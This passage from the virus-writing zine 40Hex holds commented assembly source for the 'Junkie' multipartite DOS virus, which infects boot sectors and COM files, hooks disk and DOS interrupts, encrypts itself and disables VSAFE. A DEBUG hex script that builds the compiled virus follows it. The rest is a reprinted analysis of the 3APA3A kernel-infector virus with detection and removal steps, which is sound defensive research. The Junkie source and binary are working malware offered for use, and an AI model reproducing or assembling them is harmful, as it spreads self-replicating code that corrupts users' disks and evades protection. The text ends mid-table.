mov di,offset old_i13 mov si,13*4 mov ax,offset i13 call swap_int mov es:check_i21_flag,0 mov di,offset old_i1c mov si,1c*4 mov ax,offset i1c call swap_int ; timer ticks sti mov di,offset old_i21 ; save original int 21 mov si,21*4 ; handler address movsw movsw pop di ; di = 7C00 push cs di es mov ax,offset boot_finish push ax cs pop es mov si,7C00 + 200 + BS_first_word - junkie movsw ; restore first word db 83,0C7h,5E ; add di,5E ; restore original BS code call copy_20 retf ; jmp to boot_finish db 'DrW-3' i13: cmp ax,0201 ; read? jnz jmp_i13 db 83,0F9h,1 ; cmp cx,1 ; boot sector? jnz jmp_i13 db 83,0FAh,0 ; cmp dx,0 ; ditto jnz jmp_i13 push ax bx cx dx di si ds es ; pusha, in a way call infect_disk ; if so, infect the disk pop es ds si di dx cx bx ax ; popa, of sorts jmp_i13: jmp dword ptr cs:old_i13 old_i13 dw 0, 0 call_i13: pushf call dword ptr cs:old_i13 retn highentry: call uninstall_VSAFE push ds es xor ax,ax mov ds,ax push cs pop es mov di,offset old_i13 ; get original int 13 mov si,13*4 ; handler address cld movsw movsw jmp short COM_finish nop ; Why does this still happen? boot_finish: push ds es COM_finish: mov dl,80 ; infect the hard drive mov ah,2 call infect_disk pop es ds xor ax,ax xor bx,bx retf ; return to carrier infect_disk: push cs pop ds push cs pop es call disk jc inf_disk_exit mov di,offset buffer + 60 cmp word ptr [si],5EEBh ; check if we're already jne not_in_boot_yet ; in the boot sector cmp word ptr [di],0FF33 ; xor di,di je inf_disk_exit not_in_boot_yet:cmp dl,0 ; first disk drive? jne hard_disk ; if not, assume hard drive cmp byte ptr ds:[buffer+15],0F0 ; else check media byte je little_floppy ; to see if it is a 3.5" drive cmp byte ptr ds:[buffer+15],0F9h ; 5.25" drive? jne inf_disk_exit large_floppy: mov cl,8 ; sector 8 jmp short floppy_disk nop ; more NOP's for your money little_floppy: mov ax,40 mov ds,ax cmp byte ptr ds:90,97 ; check disk 0 status je large_floppy mov cl,11 ; write to last sector floppy_disk: push cs pop ds mov ch,4F ; write to last track jmp short floppy_setup nop ; blah hard_disk: mov cx,4 ; write to slack area on hd jmp short write_to_disk nop ; #$@* floppy_setup: mov dh,1 ; head 1 write_to_disk: mov load_cx,cx ; remember where the rest of mov load_dx,dx ; junkie will be written to push dx cx si di mov di,offset BS_first_word ; save old boot sector JMP movsw ; construct pop si ; si -> buffer+60 call copy_20 ; save old boot sector code mov si,di ; si -> JBS_first_word pop di ; di -> buffer movsw ; encode our JMP to boot sector call add_copy_20 ; write our code there mov ax,301h ; write new BS to the disk push ax call disk pop ax cx dx mov al,2 ; junkie is two sectors long mov bx,offset buffer ; write it encrypted to disk jc inf_disk_exit mov decrypt_start,7E00 + (begin_crypt - junkie) call encrypt call call_i13 inf_disk_exit: retn disk: mov cx,1 mov dh,0 mov al,1 mov bx,offset buffer ; read/write to/from our buffer mov si,bx push dx call call_i13 pop dx retn add_copy_20: db 83,0C7h,5E ; add di,5E ; move from first word to ; our code in boot sector copy_20: cld mov cx,10 rep movsw retn swap_int: push si movsw movsw pop si mov [si],ax mov [si+2],es retn encrypt: push es ds ax bx cx dx si di cld xor ax,ax ; get timer count int 1Ah xor dx,cx ; more time stuff mov bx,dx mov ah,2 int 1Ah mov dl,cl ; to calculate an encryption xor bx,dx ; value (this is overkill!) mov cryptval,bx push cs pop es mov si,offset junkie mov di,offset buffer mov cx,200 rep movsw ; copy virus to the buffer mov di,offset buffer ; and encrypt there add di,begin_crypt - junkie mov cx,(buffer - junkie) / 2; encrypting too much! encrypt_loop: xor [di],bx inc di inc di loop encrypt_loop popa_exit: pop di si dx cx bx ax ds es retn uninstall_VSAFE:push es ds ax bx cx dx si di mov dx,5945 ; uninstall VSAFE/VWATCH mov ax,0FA01 int 16 jmp short popa_exit i1c: cmp cs:check_i21_flag,1 je jmp_i1c push ds es ax si di mov si,21*4 xor ax,ax mov ds,ax mov ax,ds:20*4+2 ; get segment of int 20 handler cmp ax,800 ; is it too high? ja i1c_exit cmp ax,0 ; or not set yet? je i1c_exit cmp [si+2],ax ; is segment of int 21 handler jne i1c_exit ; the same? cmp ds:27*4+2,ax ; same with int 27 handler jne i1c_exit ; i.e. make sure it's dos! cli mov di,offset old_i21 push cs pop es mov ax,offset i21 call swap_int mov cs:check_i21_flag,1 sti i1c_exit: pop di si ax es ds jmp_i1c: jmp dword ptr cs:old_i1c old_i1c dw 0FF53, 0F000 i21: cmp ax,4B00 ; infect on: execute, jz infect_file cmp ah,3Dh ; open, jz infect_file cmp ah,6C ; extended open jz infect_file jmp_i21: jmp dword ptr cs:old_i21 i24: mov al,3 iret infect_file: push ax bx cx dx di si ds es cmp ah,6Ch ; extended open? jne ptr_is_ds_dx mov dx,si ; now ds:ds -> filename ptr_is_ds_dx: call uninstall_VSAFE mov cx,ax xor ax,ax push ds mov ds,ax les ax,dword ptr ds:24*4 ; get old crit error handler mov word ptr ds:24*4,offset i24 mov word ptr ds:24*4+2,cs ; replace with ours pop ds push es ax ; save the old one for later mov ax,3D00 ; open the file read/only pushf call dword ptr cs:old_i21 jc infect_file_exit push cs pop ds mov bx,ax push bx mov ax,1220 int 2F mov ax,1216 mov bl,es:[di] int 2F ; es:di -> sft pop bx jc close_exit cmp word ptr es:[di+28h],'OC'; infect only *.CO? je infect_COM jmp short close_exit nop ; Yuck! infect_COM: push es di mov word ptr es:[di+2],2 ; set open mode to read/write call infect pop di es or byte ptr es:[di+6],40 ; preserve file time/date close_exit: mov ah,3Eh ; close file int 21 infect_file_exit: xor si,si mov ds,si pop ax pop es mov ds:24*4,ax ; restore int 24 handler mov word ptr ds:24*4+2,es pop es ds si di dx cx bx ax jmp jmp_i21 infect: call move_SOF mov cx,1Dh ; reading in more than we need! mov ah,3F mov dx,offset com_header int 21 jc infect_exit call go_EOF mov cx,10 div cx db 83,0FAh,3 ; cmp dx,3 jz infect_exit mov cx,[com_header] ; move first four bytes to mov dx,[com_header+2] ; the patch area mov orig4_1,cx mov orig4_2,dx call go_EOF cmp ax,1000 ; too small? jb infect_exit cmp ax,0EA60 ; too large? ja infect_exit call round_paragraph push ax add ax,100 + offset begin_crypt - offset junkie mov decrypt_start,ax pop ax mov byte ptr com_header,0E9h sub ax,3 mov word ptr com_header+1,ax mov ah,40 ; writing more than we need! mov cx,end_junkie - junkie mov dx,offset buffer call encrypt int 21 jc infect_exit mov al,0 ; go to the start of the file call move_SOF mov dx,offset com_header ; patch beginning of COM file mov cx,4 mov ah,40 int 21 infect_exit: retn round_paragraph:mov ah,al mov al,10 sub al,ah and ax,0F mov dx,ax mov al,1 jmp short move_fpointer nop ; MASM NOP! go_EOF: mov al,2 move_SOF: xor dx,dx move_fpointer: xor cx,cx mov ah,42h int 21 retn old_i21 dw 0, 0 dw 0 ; unused check_i21_flag db 1 db 0, 'Dr White - Sweden 1994' BS_first_word dw 0 old_BS_code db 20 dup (0) ; storage for original boot ; sector code from offset ; 60 to 80 JBS_first_word dw 05EEBh start_Jboot: xor di,di mov si,7C00 cli mov sp,si ; set the stack to 7C00:7C00 mov ss,di sti mov es,di ; es = 7C00 (junkie work seg) mov ax,202h ; read junkie into memory mov bx,7C00 + 200 ; starting at 0:7E00 mov cx,4 org $ - 2 load_cx dw 4 mov dx,80 org $ - 2 load_dx dw 80 push si bx ; push 0:7C00 int 13 ; the next line loads at offset 7C80 - 3 jmp $+3+200-80 ; jmp to 7E00 (decryptor) end_Jboot: ; ($ - start_Jboot = 20) db 'Junkie Virus - Written in Malmo...M01D' dw -1 ; unused com_header dw 0, 0 buffer: db 1bh dup (0) end_junkie: end junkie --------------------------- N junkie.com E 0100 BE 0F 01 B9 F4 01 26 81 34 00 00 46 46 E2 F7 8C E 0110 C8 3D 00 00 74 21 BF 00 01 C7 05 CD 20 C7 45 02 E 0120 00 00 0E 57 E8 00 00 5B 83 EB 27 B1 04 D3 EB 03 E 0130 C3 50 B8 C3 00 50 CB 8E DF 5E 83 2E 13 04 03 A1 E 0140 13 04 BB 40 00 F7 E3 8E C0 B9 00 02 FC F3 A5 FA E 0150 BF B8 00 BE 4C 00 B8 91 00 E8 30 01 26 C6 06 60 E 0160 03 00 BF 33 02 BE 70 00 B8 EA 01 E8 1E 01 FB BF E 0170 5A 03 BE 84 00 A5 A5 5F 0E 57 06 B8 DA 00 50 0E E 0180 07 BE 78 81 A5 83 C7 5E E8 FA 00 CB 44 72 57 2D E 0190 33 3D 01 02 75 1D 83 F9 01 75 18 83 FA 00 75 13 E 01A0 50 53 51 52 57 56 1E 06 E8 3F 00 07 1F 5E 5F 5A E 01B0 59 5B 58 2E FF 2E B8 00 00 00 00 00 9C 2E FF 1E E 01C0 B8 00 C3 E8 12 01 1E 06 33 C0 8E D8 0E 07 BF B8 E 01D0 00 BE 4C 00 FC A5 A5 EB 03 90 1E 06 B2 80 B4 02 E 01E0 E8 07 00 07 1F 33 C0 33 DB CB 0E 1F 0E 07 E8 7F E 01F0 00 72 7C BF 48 04 81 3C EB 5E 75 06 81 3D 33 FF E 0200 74 6D 80 FA 00 75 28 80 3E FD 03 F0 74 0C 80 3E E 0210 FD 03 F9 75 5A B1 08 EB 0F 90 B8 40 00 8E D8 80 E 0220 3E 90 00 97 74 EF B1 11 0E 1F B5 4F EB 07 90 B9 E 0230 04 00 EB 03 90 B6 01 89 0E B0 03 89 16 B3 03 52 E 0240 51 56 57 BF 78 03 A5 5E E8 3A 00 8B F7 5F A5 E8 E 0250 30 00 B8 01 03 50 E8 17 00 58 59 5A B0 02 BB E8 E 0260 03 72 0C C7 06 01 00 0F 7E E8 2A 00 E8 4D FF C3 E 0270 B9 01 00 B6 00 B0 01 BB E8 03 8B F3 52 E8 3C FF E 0280 5A C3 83 C7 5E FC B9 10 00 F3 A5 C3 56 A5 A5 5E E 0290 89 04 8C 44 02 C3 06 1E 50 53 51 52 56 57 FC 33 E 02A0 C0 CD 1A 33 D1 8B DA B4 02 CD 1A 8A D1 33 DA 89 E 02B0 1E 09 00 0E 07 BE 00 00 BF E8 03 B9 00 02 F3 A5 E 02C0 BF E8 03 83 C7 0F B9 F4 01 31 1D 47 47 E2 FA 5F E 02D0 5E 5A 59 5B 58 1F 07 C3 06 1E 50 53 51 52 56 57 E 02E0 BA 45 59 B8 01 FA CD 16 EB E5 2E 80 3E 60 03 01 E 02F0 74 3C 1E 06 50 56 57 BE 84 00 33 C0 8E D8 A1 82 E 0300 00 3D 00 08 77 23 3D 00 00 74 1E 39 44 02 75 19 E 0310 39 06 9E 00 75 13 FA BF 5A 03 0E 07 B8 37 02 E8 E 0320 6A FF 2E C6 06 60 03 01 FB 5F 5E 58 07 1F 2E FF E 0330 2E 33 02 53 FF 00 F0 3D 00 4B 74 12 80 FC 3D 74 E 0340 0D 80 FC 6C 74 08 2E FF 2E 5A 03 B0 03 CF 50 53 E 0350 51 52 57 56 1E 06 80 FC 6C 75 02 8B D6 E8 78 FF E 0360 8B C8 33 C0 1E 8E D8 C4 06 90 00 C7 06 90 00 4B E 0370 02 8C 0E 92 00 1F 06 50 B8 00 3D 9C 2E FF 1E 5A E 0380 03 72 36 0E 1F 8B D8 53 B8 20 12 CD 2F B8 16 12 E 0390 26 8A 1D CD 2F 5B 72 1D 26 81 7D 28 43 4F 74 03 E 03A0 EB 13 90 06 57 26 C7 45 02 02 00 E8 23 00 5F 07 E 03B0 26 80 4D 06 40 B4 3E CD 21 33 F6 8E DE 58 07 A3 E 03C0 90 00 8C 06 92 00 07 1F 5E 5F 5A 59 5B 58 E9 75 E 03D0 FF E8 7D 00 B9 1D 00 B4 3F BA E4 03 CD 21 72 5E E 03E0 E8 6C 00 B9 10 00 F7 F1 83 FA 03 74 51 8B 0E E4 E 03F0 03 8B 16 E6 03 89 0E 1B 00 89 16 20 00 E8 4F 00 E 0400 3D 00 10 72 39 3D 60 EA 77 34 E8 32 00 50 05 0F E 0410 01 A3 01 00 58 C6 06 E4 03 E9 2D 03 00 A3 E5 03 E 0420 B4 40 B9 03 04 BA E8 03 E8 6B FE CD 21 72 0F B0 E 0430 00 E8 1D 00 BA E4 03 B9 04 00 B4 40 CD 21 C3 8A E 0440 E0 B0 10 2A C4 25 0F 00 8B D0 B0 01 EB 05 90 B0 E 0450 02 33 D2 33 C9 B4 42 CD 21 C3 00 00 00 00 00 00 E 0460 01 00 44 72 20 57 68 69 74 65 20 2D 20 53 77 65 E 0470 64 65 6E 20 31 39 39 34 00 00 00 00 00 00 00 00 E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0490 00 00 00 00 00 00 00 00 00 00 EB 5E 33 FF BE 00 E 04A0 7C FA 8B E6 8E D7 FB 8E C7 B8 02 02 BB 00 7E B9 E 04B0 04 00 BA 80 00 56 53 CD 13 E9 80 01 4A 75 6E 6B E 04C0 69 65 20 56 69 72 75 73 20 2D 20 57 72 69 74 74 E 04D0 65 6E 20 69 6E 20 4D 61 6C 6D 6F 2E 2E 2E 4D 30 E 04E0 31 44 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0500 00 00 00 R CX 0403 W Q --------------------------- 40Hex Number 14 Volume 5 Issue 1 File 007 Virus Spotlight: 3APA3A (ZARAZA) This is a new virus which has come out of Russia. It has received a lot of publicity in the virus and anti-virus communities due to the unusual manner in which it infects. The following article, written by Igor G. Muttik, is a good description of the virus. A disassembly of the virus follows this text. Dark Angel Phalcon/Skism '95 --------------------------------- 3APA3A virus -- the first kernel infector. ========================================== Igor G. Muttik Low Temperature Physics Laboratory, Physics Department, Moscow State University, 117234, Russia Phones: +7 095 9391147 +7 095 3396238 Email: MIG@lt.phys.msu.su KEYWORDS -------- Virus, kernel, boot virus, resident, boot sector, kernel infector. ABSTRACT -------- A new virus, which was found in Moscow in the wild is described. It infects floppy disks as a normal boot virus. As against to normal boot viruses, it infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the hard disk. Thus, this virus can be regarded as a representative of a new virus type - "kernel infectors". Description of the virus internals is given. The virus structure, properties and behavior are discussed. Details on the polymorphicity of 3APA3A are presented. Given partial dumps may help to detect and cure the virus, but cannot be used to reconstruct it. INTRODUCTION ------------ This new virus appeared in Moscow (Russia). It was found in the wild in Moscow 12-14 October 1994. The virus was named "3APA3A" (in Russian it stands for some slang form of "INFECTION"). The message with this string is stored (encrypted) in the body of the virus. Size of the virus is 1024 bytes (exactly two sectors on the floppy disk or on the hard drive). The virus is multipartite: it infects boot sectors on the floppy disks and DOS core file (IO.SYS for MS-DOS; IBMBIO.COM for PC-DOS; etc.). Infection of the floppies is alike many known boot-sector viruses, but the algorithm of the hard drive infection is unique. Therefore, the virus belongs to a new virus class, which was named "kernel infectors". The virus does not analyze the name of DOS core file and I shall use IO.SYS name below for simplicity (it may also be IBMBIO.COM or any other). Once the hard drive has been infected, the virus activates every time the computer is turned on. On the floppy disk, the first half of the virus is stored in the boot sector. Original floppy boot sector and the second half of the virus are stored at the very end of the root directory of the diskette. Thus, when infecting the floppy disk, the virus overwrites two last sectors in its root directory. On the hard drive the virus is at the very beginning of the DOS core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k. INFECTION STRATEGY ------------------ After boot from the infected floppy disk, the virus tries to infect the first file in the root directory of the first DOS partition (usually it is IO.SYS file). Map of memory usage (at the moment of HDD infection) is given in Fig.1. The virus uses segment 7C00 (not 7C0!) for its own buffer (3.5k+sizeof(IO.SYS)). This segment value -- 7C00 corresponds to (512k-16k). Computer memory size equal to 512k will be usually insufficient for normal virus operation, because size of the core file (IO.SYS/IBMBIO.COM) exceeds 16k in most modern DOS versions. Sizes of the system files for some DOS versions are given in Fig.2. Therefore, the virus is hardly viable on the computers without 640k. 3APA3A virus assumes that the active DOS partition has a boot sector at CX=0001, DX=0180 (INT_13 notation: i.e., 1st HDD, head=1, sector=1). It tries to infect only this first partition. If active boot sector is anywhere else - 3APA3A will fail to infect hard disk properly. The virus does not even read MBR to investigate disk partitioning. The virus can only infect the hard drive, if the first DOS partition is bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus cannot infect other FAT types). That was probably done for simplicity, because it will be more difficult to handle 12-bit FATs (or even both FAT types). The author of the 3APA3A virus, probably, decided to make the virus shorter. Fortunately (for him), 16-bit FATs are much more frequent now than 12-bit and much easier to handle. Actually, the virus checks whether total number of sectors in media (i.e., in the first partition) is greater than 5103h or zero. Corresponding fragment of code is given in Fig.3. The comparison with zero is really needed, because all partitions, which have more than 65535 sectors (>32MB) carry zero in this field (and always uses 16-bit FATs). 3APA3A virus does not check neither attributes of the first directory entry, nor its name -- it will even "infect" a subdirectory entry if it is located at the very first position in the root directory of the hard disk (that is possible under DOS 5.0 or higher). When infecting this first entry, the virus duplicates it (i.e., copies IO.SYS file cluster chain, duplicates its directory entry and updates the FATs) and then infects the original IO.SYS file. It also marks this duplicated directory entry with a volume-label bit. This bit serves as an infection marker (if it is set, 3APA3A virus decides that the hard drive is already infected). This bit (when set) simultaneously preserves the infected IO.SYS file from DOS file access -- all DOS file-oriented functions AH=3Dh, 3Eh, 3Fh, 40h will skip this entry. Moreover, this infected file will be not mentioned in the directory listing, because of this bit. That looks like a smart non-resident type of stealth virus. The virus reads only 5 sectors of the root directory of the first DOS partition (others are ignored). 3APA3A virus makes a root directory modification using two shifts (see Fig.4). The first copies entries #3- #79 to the location of #4-#80. The second copies #1 (IO.SYS) to #3. The first shift erases one directory entry (#80, the very last on the 5th directory sector) and it is unrecoverably lost. If this entry was a subdirectory -- all files in it will become inaccessible. Two shifts are needed to guarantee that the first two entries are still IO.SYS and MSDOS.SYS. That is done by the virus to achieve maximum compatibility -- some old versions of DOS (prior to DOS 5.0) require IO.SYS and MSDOS.SYS at the very beginning of the root directory and the virus tries to follow this rule. After directory modification we have two IO.SYS entries in the root directory, but the first is not shown in the directory listing, because this entry has volume-label bit set. Both mentioned directory entries point on two copies of IO.SYS. The first IO.SYS (infected) is located in its old place and it differs from the original in only first 1024 bytes (now, after infection, it is a virus itself). The second IO.SYS directory entry points on a clone of the original IO.SYS file (uninfected), which was copied by the virus to the very end of the first DOS partition. When copying original IO.SYS cluster-by-cluster to the partition end, the virus checks whether there is free place on disk (it reads last sector of FAT). Scanning this last FAT sector (it represents 256 clusters), the virus accurately skips used clusters. If there is no more free clusters (among these 256) -- the virus will stop the entire infection process. But if there is a place for IO.SYS copy -- it will be created. This second IO.SYS copy at the disk end serves for two purposes -- as a source of the original IO.SYS start (1k) and as a decoy for scanners and integrity checkers (they will probably prefer to scan/analyse this non-volume-labeled file). When computer is turned on, DOS boot sector (which was not modified by the virus in any way, as well as a master boot record MBR) runs. There is no DOS file system yet and the program in the boot sector "simply" reads the root directory of the hard disk and finds the first IO.SYS entry. This entry points on the infected IO.SYS file. Unfortunately, DOS boot record program ignores volume-label bit, unlike DOS file system. Thus, the infected copy of the DOS core file IO.SYS is started by DOS boot sector at each computer reboot. When the virus gains control, it saves itself in the computer memory (like a normal boot-sector virus) -- decreases the memory available to DOS on 2 kilobytes (it changes the word at address [0:413]). A reduction in DOS memory is a usual sign of presence of a boot virus. The location of the virus in computer memory is easily calculated. For example, for a normal 640k computer, code segment of the virus will be 9F80. The virus intercepts only disk i/o interrupt (INT_13). Now all accesses to the floppy disks result in their infection. The virus infects floppy disks both in A: and B: drives. Finally, it passes the control to the original IO.SYS. INTERNAL VIRUS STRUCTURE ------------------------ The virus consists of two parts (sectors, 512 bytes each). These two parts are pretty independent! The first (which is stored in the floppy boot sector) is responsible for infection of the hard drive (it checks for virus presence on the hard drive, copies IO.SYS to the partition end, modifies root directory, updates all FATs, makes new IO.SYS with the virus code (1k) at the very start, makes IO.SYS directory entry with a volume-label bit set, and calls original floppy boot sector. At the very end this part stores the location of the infected IO.SYS for future use of the second virus part. The second virus sector (IO_sector) contains trigger routine, message payload, resident installer and INT_13 handler with "polymorphic" encryption routine. The first virus sector is in a boot sector of the contaminated diskette, the second virus sector -- in the last sector of root directory. On the hard disk this sequence is opposite -- infected IO.SYS is started with mentioned second virus sector (IO_sector), which is followed by a boot sector. Therefore, first virus sector contains a program to infect hard drive and IO_sector is simply placed into IO.SYS and not executed in any part. The IO_sector contains a program to infect floppy disks and it simply places infected boot sector (after appropriate encryption) on the floppy disk. Two virus parts (boot sector and IO_sector) work at different time (first -- only at boot from the infected floppy, second -- only at boot from the hard drive) and virus boot sector only once passes a parameter (DX:AX) to the IO_sector. Only one procedure is shared by both virus parts -- which converts sector# in DX:AX into CX=sec/cyl, DH=head (and the virus has to patch offset in E8 call to this procedure, because it is located at different offset now, not in 0000:7C00, as at boot time; this procedure is at 7DD3 and/or at 3D3). Unlike many other boot sector viruses, 3APA3A encrypts its code (in a floppy boot sector). Moreover, 3APA3A virus is slightly polymorphic, which is even more unusual -- decryptor of the infected boot sector is variable. By the way, only very few boot-sector viruses have polymorphic properties. The dump of the virus decryption routine is given in Fig.5. The order of instruction is fixed. Random value (word) is taken from BIOS timer counter [0:46C]. There are 8 types of encryption routine (4 use DI register, 4 use SI). Probability of SI usage is 3 times higher, than usage of DI. One can see that the offset of decryptor's terminating jump is encrypted with 25% probability (byte at 7C2B, which is an offset of a conditional jump, is encrypted with the mentioned probability). Thus, the virus decryptor will hang with a 25% probability on 386 and 486 processors. Lower processors (8088-80286) have a small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it is not sufficient to store whole decryption cycle and cause a hang. Pentium is free of this problem, because it can detect the access to the pre-fetched bytes and flash the queue. On 80386-80486 processors the virus will hang with 25% probability when booting from floppy disk if the JNZ offset was encrypted -- data in memory and in processor queue will become different during decryption, processor will go into garbage codes and hang. Because of the encryption, only string like 'MSDOS 5.0' is visible at the beginning of the boot sector (this string is a reminiscence of an original boot sector of a floppy disk). Obviously, 55AA marker is present at the very end of the boot-sector. Second virus part (IO_sector), which is placed at the very last sector of the root directory of the floppy disk, is not encrypted at all. Its location is stored inside the code of the first virus sector at the moment of floppy infection. Two bytes in the boot sector are used as an infection marker -- byte at offset 18h must be zero and byte at 21h must be 2Eh (first is byte from BPB, second -- constant byte in the decryption routine, CS: prefix). Prior to the infection of floppy disk the virus performs checks whether this marker is already present. If this is the case -- the virus decides that floppy disk is already infected. If, occasionally, you will place too many files in the root directory of the floppy and the directory entries will overwrite the second virus sector (IO_sector) -- this floppy disk will become a carrier of a damaged virus. If now any hard drive will be infected with this floppy, it will become unbootable (start of IO.SYS file will carry the directory entries from the floppy directory, instead of the virus body). The structure of the second virus sector (IO_sector) is shown in Fig.6. DOS boot sector loads this code (as a part of normal IO.SYS) to computer memory. After virus code (first 1k in IO.SYS) follows normal IO.SYS image. The virus moves its own code (this 1k) to CS=9F80 (for a normal 640k PC) and replaces it with an original IO.SYS start. Original IO.SYS start is read from hard disk and its position was stored inside the virus body at the moment of hard drive infection. Final RETF transfers control to the original IO.SYS image, which was "assembled" in memory by 3APA3A virus. Memory map usage of 3APA3A virus, when it is resident in the computer memory, is given in Fig.7. When the virus analyses an access to the floppy drive, sitting on the INT_13, it does not perform full check whether boot sector is accessed (usually AH=02, CX=0001, DH=0), but it calculates the sum DH+CL+CH and decides that boot sector is accessed if it is equal to 1. That is not very compatible approach (because AH is ignored at all) and I have found one program, which confused 3APA3A and virus even tried to access empty A: and B: drives. This program is PU_1700.COM -- a resident BIOS extension to format/access floppies of 1.44MB size in a 5.25" high-density floppy drives. When PU_1700 is loaded with the virus active in memory, both floppy drives turn on their LEDs. Unusual method is used by the virus to access original INT_13 routine from inside of virus INT_13 handler. The virus patches its own program (Fig.8) -- places JMP instruction near the beginning of its own handler, i.e., it "closes the window leaf". Now the virus makes an INT_13 call (it is, obviously, reentrant call). Upon return from this call the "window leaf" is opened back (JMP is replaced with JNZ). The virus carries the following message -- "B BOOT CEKTOPE - 3APA3A!" This string is in Russian, and translation is -- "IN BOOT SECTOR - INFECTION!". Besides its usual use as "infection/contagion", "3APA3A" in Russian designates something particularly boring and annoying. This string is encrypted (it is located at offset 9A in the IO_sector of the virus, its length is 1A bytes) and it is not visible even in memory. It will be printed in August on each reboot from the hard drive (the virus calls INT_1A/AH=04 and checks if DH=08). Obviously, the virus will never print the message on XT computers, because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the message is not printed, the virus does not advertise its presence at all. It is, therefore, quite difficult to spot. Method of the encryption of this string is somewhat unusual (see Fig. 9). It looks like a "delta"-coding, because the current byte in the series, when being added to the previous character code, gives the next one. The virus message terminates with ASCII codes "07", "0D", "10" (see Fig.9). First is a beep, second is a carriage return symbol (CR), but the last is probably cased by a mistype of the virus author. He probably wanted to type CR, LF (normal string terminator), but used hexadecimal 10, instead of decimal (i.e., 10h instead of 0Ah). The virus message is written in Russian, but is composed only of the pure English ASCII symbols. The reason is simple -- message is printed at boot time, when software Cyrillic character generator is not yet loaded, so it is not possible to use Cyrillic letters. The only way -- to compose message from normal ASCII letters and digits (digit "3" represents Russian letter, which sounds like "Z"). Correct spelling of the virus name -- "3APA3A" in Russian is "ZARAZA". Here all "Z" sound like in "zero" and all "A" sound like "u" in "cut". 3APA3A virus carries no special destructive payload. 3APA3A: TREATMENT AND RUMORS ---------------------------- After infection of the hard disk the first root directory entry is always marked with a volume label bit. Therefore, old disk volume label will be not shown and the infected hard disk will usually carry label "IO SYS" (or "IBMBIO COM" for PC-DOS, etc.). It will be reported by DIR and LABEL command. The most noticeable effect of virus presence is an unusual disk label. This new "label" is uneraseable and unchangeable even with a LABEL command. Probably DOS is confused with a strange volume label, which has a non-zero length and it refuses to change it. Unfortunately, DOS even does not report that he fails to change (delete) the disk label -- no error or warning message is given. First attempt of an inexperienced user to remove the virus may be the usage of undocumented FDISK /MBR call, which reinitializes the MBR program, leaving partition table intact. Obviously, this approach not works, because the virus is not stored in the MBR. Reinitialization of DOS boot sector will not help too. That is because copy of the virus code is neither in MBR, nor in DOS boot sector, but in IO.SYS file. The most reasonable operation is to try to get rid of the 3APA3A virus using SYS C: command. Unfortunately it does not work too! And even after booting from the clean diskette! The reason is obvious -- SYS C: will modify/remove the second copy of the IO.SYS file (uninfected copy!), which is located at the very end of the first DOS partition. The infected copy of IO.SYS will not be rewritten, because volume-label bit preserved it from being recognized by SYS program as a DOS core file. CHKDSK (in MS-DOS) will always report errors on the infected hard disk, because it will be alarmed with a FAT chain, attached to the volume-labeled file. Note, that MS-DOS and DR-DOS behaves differently with "volume-labeled" files. Norton Disk Doctor (I tested NDD from Norton Utilities 6.0) gives no warnings on the contaminated hard disk. Note that many disk optimizers (like Norton SpeedDisk) prefer to place the subdirectories in the very beginning of the root directory (it is possible only in later versions of DOS, probably starting at 5.00). The virus does not check if IO.SYS is really the first entry in the root directory (only checks volume bit!), so it can easily take the first directory in the root and regard it as an infectable DOS core file! Such an attempt to "infect" the hard drive will fail -- the virus will perform all its actions, but original IO.SYS will be intact. Presence of duplicated subdirectory (if it was the 1st entry) will not affect normal operation of the computer, because this duplicated subdirectory with volume-label bit will be ignored by DOS. And original IO.SYS (placed by SpeedDisk somewhere else in the root directory) will be uninfected. Only CHKDSK will report disk errors. The simple sequence of actions to remove the virus from hard drive is the following: 1. Delete IO.SYS file (original uninfected copy). You may need to remove Hidden/System/Read-Only attributes to do that (for example use Norton Commander). 2. Remove "Vol" attribute from the infected IO.SYS in the root (you can use Norton DiskEdit to do this; infected volume-labeled IO.SYS is the 1st directory entry). 3. Delete IO.SYS file (infected copy). You may need to remove Hidden/System/Read-Only attributes to do that (for example use NC). 4. Run CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk errors may have been appeared on the hard disk because of the lost #80 dir entry). 5. Run SYS C: from the system floppy disk to restore IO.SYS. Note: Actions 1)-3) can be done with Norton DiskEdit. The virus is very virulent, but we hope that the infection will be local, because anti-3APA3A measures were undertaken shortly. The users were notified about the possible threat and anti-virus programs appeared, which are capable to detect and remove 3APA3A from diskettes and from the hard drive. There is an unconfirmed information that currently available 3APA3A virus is actually the second virus in the strain. According to the information from Russian anti-virus circles, there was a previous version, which was released in March 1994 and computers in some banks in Moscow were contaminated. The author of 3APA3A virus wrote a couple of Email messages, which were delivered through Fidonet without the originating address and they had a signature "Gena". Last stands for the male name. He insisted that there are at least two versions in the wild. He claimed that he already created more "powerful" version(s), but they are still in the "research phase" and not yet in the wild. He also wrote that his viruses were caught with such a big delay, that he is fully contented. There is also a rumor that the author of 3APA3A viruses was forced to delete all his assembler texts by indignant PC users. ACKNOWLEDGEMENTS ---------------- I am acknowledged to VForum members for the fruitful discussion of 3APA3A properties (especially to Anthony Naggs, Vesselin Bontchev and Paul Ducklin). I am also acknowledged to Igor Daniloff (SALD, Saint- Petersburg, Russia). FIGURES ------- Figure 1. Map of memory usage of 3APA3A virus, when the virus boot sector is infecting the hard drive. Address Size Function (buffer for) ------------------------------------------------------- 7C00:0000 200h Hard drive boot sector 7C00:0200 2 AX for INT_13 (0201h, 0301h, etc.) 7C00:0202 1 DH for INT_13 (usually 80h) 7C00:0203 200h FAT end 7C00:0403 A00h HDD Root directory, 5 sectors only! 7C00:0E03 200h FAT start 7C00:1003 2000h 1 cluster of original IO.SYS (*) 7C00:3003 2000h 2 cluster 7C00:5003 2000h 3 cluster 7C00:7003 2000h 4 cluster 7C00:9003 2000h 5 cluster 7C00:B003 2000h 6 cluster ... ... ... 7C00:xx03 2000h last IO.SYS cluster ------------------------------------------------------- (*) Cluster size was taken 8192 bytes (16 sectors) only for example. It may be different according to sectors/cluster ratio. Figure 2. Sizes of DOS system files for different versions (in bytes). ------------------------------------------------------------- DOS version DOS type IO/IBMBIO MSDOS/IBMDOS COMMAND.COM -------------------------------------------------------------- 1.00 PC 2047 6400 4959 2.00 PC 4907 17411 18160 3.00 PC 8964 27920 22042 3.30 MS 22357 30128 